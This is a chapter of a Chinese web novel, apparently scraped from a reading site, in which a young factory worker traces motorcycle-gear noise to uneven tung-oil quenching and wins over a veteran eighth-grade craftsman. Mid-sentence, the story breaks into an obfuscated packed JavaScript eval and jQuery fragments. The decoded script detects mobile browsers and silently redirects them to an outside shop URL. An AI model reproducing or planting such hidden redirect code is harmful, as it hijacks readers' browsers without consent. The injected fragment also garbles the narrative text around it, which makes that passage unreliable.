27. 第 27 章

作品:《退婚?我在八零卷哭全厂

    为首的老者头发花白,脸上沟壑纵横,套着一件沾满黑色油渍的工装,正是厂里的八级工王德海。


    “钱科长,”王德海的声音低沉沙哑,带着浓重的元城口音,眼睛只盯着钱勇军,“这就是你跑了几百里地,从春风厂搬来的救兵?”


    他刻意加重了“救兵”二字,目光扫过赵之凝年轻的脸庞和单薄的身板。


    车间里其他工人也停下了手里的活计,好奇地张望,窃窃私语。


    一个年轻女工,能解决连八级工都挠头的难题?


    钱勇军硬着头皮解释道:“王工,赵工在火车上就帮我们解决了淬火油温的大难题,这次……”


    “胡闹!这是齿轮!”王德海毫不客气地打断,布满老茧的手指“笃笃”敲着工作台上几个锃亮的齿轮样品,“不是油槽里加块铁皮那么简单!”


    他径直拿起一个齿轮,塞到旁边一台简陋的测试台架上,启动了电机。


    “嘎啦!嘎啦!”


    刺耳的噪音马上响起,几个技术员都下意识地捂住了耳朵。


    “听见没?”王德海关掉测试台,噪音余韵还在车间里回荡,“就这动静,装到人家摩托上?别说城里人,就是咱乡下老农,也得骂娘!人家要的是摩托车,不是拖拉机!”


    赵之凝没被王德海的怒火吓退,反而上前一步,仔细端详那几个齿轮。齿面的光洁度很高,看得出经过精心修形研磨,边缘倒角圆滑,单看零件本身,似乎并无不妥。


    “王工,这些齿轮,是按你们厂的老工艺标准做的?”


    “没错!”王德海没好气,“老子齿轮都这么干了几十年,精度公差一丝不差!可到了‘飞雁’这玩意上,它就不认账了,真是邪了门了!”


    “飞雁”摩托车这个名字,赵之凝在路上就听钱勇军介绍过。


    前两年,军工大厂飞雁厂琢磨着军转民,刚开始就做些闹钟、水壶之类的民品,都不成气候。后来,厂里买来几辆外国摩托车,老师傅们拆开了模仿,硬是拼凑出了一辆“能跑的铁疙瘩”。


    虽然土法炮制的摩托车有诸多问题,但它的确能跑能动,这年头连自行车都不容易买到,更何况是摩托车呢?


    于是,“飞雁”摩托车很快就打出了名堂,一时竟成了紧俏货。星火厂能搭上这条船,给“飞雁”摩托车供应齿轮,本来是天大的好事。


    没想到,被仿制的外国摩托车厂知道了这事,就跑来跟飞雁厂谈判。一来二去,飞雁厂从“山寨”变成了跟外国厂达成合作。这下鸟枪换炮,飞雁厂对配套零部件的质量要求也相应提高。


    据说,当时坊间还有个趣闻,要是在路上听到“铛铛”声的摩托车,那准是“飞雁”没错了。因此,关乎“飞雁”品牌声誉的噪声指标,就成了星火厂不得不重视的事情了。


    赵之凝没再追问,而是拿着齿轮,默默地跟在王德海身后,看他指导工人操作。车床、铣床、滚齿机……一道道工序下来,赵之凝看得很认真。


    她注意到,在齿轮淬火这道关键工序前,工人会用一个特制的铁钩,小心翼翼地将烧得通红的齿轮从加热炉里勾出来,然后浸入旁边一个翻滚着热浪的油槽中。


    “刺啦——”滚烫的齿轮骤然遇冷,油槽里腾起大股呛人的白烟。


    “王工,这淬火油……味道好像有点特别?”赵之凝忍不住问。


    “是桐油,”王德海随意地回了一句,显然还沉浸在噪声的烦恼里,“老方子了,便宜,淬硬效果还行,就是烟大味冲。”


    桐油?赵之凝心头有点模糊的想法。


    前世,她在印刷厂打工时,曾听老师傅提过,不同油墨的特性差异很大。后来在机械厂,她也接触过各种润滑油、淬火油,对它们的性能对比也有了解。


    桐油黏稠,冷却速度快,但流动性差,容易在工件表面形成不均匀的油膜……


    突然,赵之凝想到了一个大胆的猜测:“王工,能不能给我看看淬火后的齿轮,在精磨修形之前的样子?就是刚淬完火,还没清理油污的状态。”


    王德海一愣,狐疑地看着她:“那有啥好看的?黑乎乎油渍渍的。”


    “麻烦您了!”赵之凝语气坚决。


    钱勇军赶紧打圆场:“王工,就给她看看吧,说不定有发现呢?”


    王德海虽然满腹疑窦,还是对一个年轻工人吩咐道:“小刘,去热处理那边,拿几个刚淬好火、还没清理的废齿轮过来,动作快点!”


    很快,几个还沾着黏稠桐油的齿轮就被拿了过来。


    赵之凝用手指轻轻刮去齿轮上的桐油,露出了里面的金属表面。她又拿起旁边的一个齿轮,那是经过多次修磨仍然噪声超标的。


    她把两个齿轮放在一起,仔细对比。


    王德海不知道她葫芦里卖什么药,但刚刚一直在悄悄观察她。这个女工眼神清亮,提问到点,哪怕不能帮他们解决问题,也是个值得栽培的技术苗子,这时也就随她去了。


    没想到,赵之凝突然指着废齿轮齿根和齿面交界处那些深浅不一的斑痕说:“王工,您看看这里,还有这里……


    成品齿轮的齿面,虽然经过反复修磨,看起来很光滑,但您仔细看这个区域,光泽度和纹理是不是有点细微的差异?”


    王德海凑近了,眯起他那双经验丰富的眼睛,手指在齿轮上摩挲着。


    起初,他还不以为然,但看着看着,脸色渐渐凝重起来。他是八级工,手上感觉极其敏锐,那细微的区别,在赵之凝的提示下,变得清晰可辨。


    “你的意思是……”王德海的声音有些发颤,一个他从未想过的方向浮现脑海。


    “是的,我怀疑问题出在淬火上。”赵之凝解释道,“桐油淬火,冷却快但不够均匀,尤其是对于齿轮这种结构复杂的零件,可能导致内部产生了不均匀的残余应力。虽然我们后面通过精磨把表面修得很光,尺寸也合格了,但这些应力藏在齿轮内部。”


    她拿起齿轮,模拟啮合的动作:“如果用在摩托车上,两个齿轮高速


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933476|192171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    咬合运转时,这些不均匀的应力区域就可能发生振动。这些振动叠加起来,通过齿轮箱放大,是不是就成了刺耳的噪声?”


    “啪!”王德海猛地一拍大腿,吓得旁边的小刘一哆嗦。


    困扰了他一个多月的迷雾,被眼前这个年轻姑娘三言两语拨开了!


    不是他引以为傲的修形手艺不行,是齿轮根子里就藏着问题啊!


    “哎呀!我个老糊涂,钻了牛角尖了!”他激动得满脸通红,看向赵之凝的眼神彻底变了,“丫头!不,赵工!真让你说到根子上了!”


    困扰全厂的难题似乎找到了症结,一旁的钱勇军都激动起来:“王工,赵工,那该怎么解决问题?”


    “换淬火介质!”王德海抢着回答,思路已经跟上,“用更温和、流动性更好的专用淬火油!实在不行,把油温控制好,搅拌起来,让冷却均匀点!”他看向赵之凝,带着征询,“小赵,你看呢?”


    赵之凝点点头:“王工经验丰富,您说得没错。另外,淬火前,齿轮表面的清洁度也很重要。淬火前可以增加一道清理工序,确保齿轮表面干净,也有助于提升淬火质量。”


    “好!好!好!”王德海连说了三个好字,看赵之凝的眼神简直像看一块稀世珍宝。


    “就这么干!小刘,听见没?立刻去仓库查查有没有专用淬火油,没有就去打报告申请!老李,带人把咱们那个老淬火槽的搅拌泵给我修利索了!快!动起来!”他风风火火地指挥着,一瞬间仿佛年轻了十岁。


    之后的操作,就没有赵之凝什么事了。


    毕竟,星火厂是个技术底子很厚的厂子,一旦找准了方向,解决问题压根不是事。


    晚饭时,星火厂特意让饭堂开了小灶,为赵之凝准备了满满一桌好菜。


    饭桌上,王德海好奇地问道,“赵工,像你这样的本事,在春风厂,现在是个什么级别了?”


    赵之凝也坦然:“王工,我刚转正不久,现在是二级工。”


    “啥?!”王德海刚喝进嘴的一口茶差点喷出来,眼睛瞪得像铜铃,“二级工?!孟庆丰那老小子瞎了眼了?!他春风厂是金子堆成的庙啊?埋没人才也没这么个埋没法!


    你这样的本事,搁我们星火厂,老子拼了这张老脸也得给你报个四级!不,五级都够格!他老孟是守着金山要饭吃,不识货啊!”


    他气得几乎胡子都翘了起来,仿佛一颗宝贝明珠被人当成了鱼眼珠子,恨铁不成钢地拍着桌子:“暴殄天物!简直是暴殄天物!要不……你考虑考虑,来我们星火厂?老头子我亲自带你,保证……”


    “王工,您消消气。”赵之凝哭笑不得,打断了为她“打抱不平”的王德海,“其实我进厂没多久,孟工他们对我都很照顾,给了我很多机会。在春风厂挺好的,这次能来星火厂学习,也是厂里支持。”


    “唉,这个老孟啊……”王德海叹了口气,摇摇头,也知道在他们这种系统,挖人不太现实,但那份惜才爱才之情溢于言表。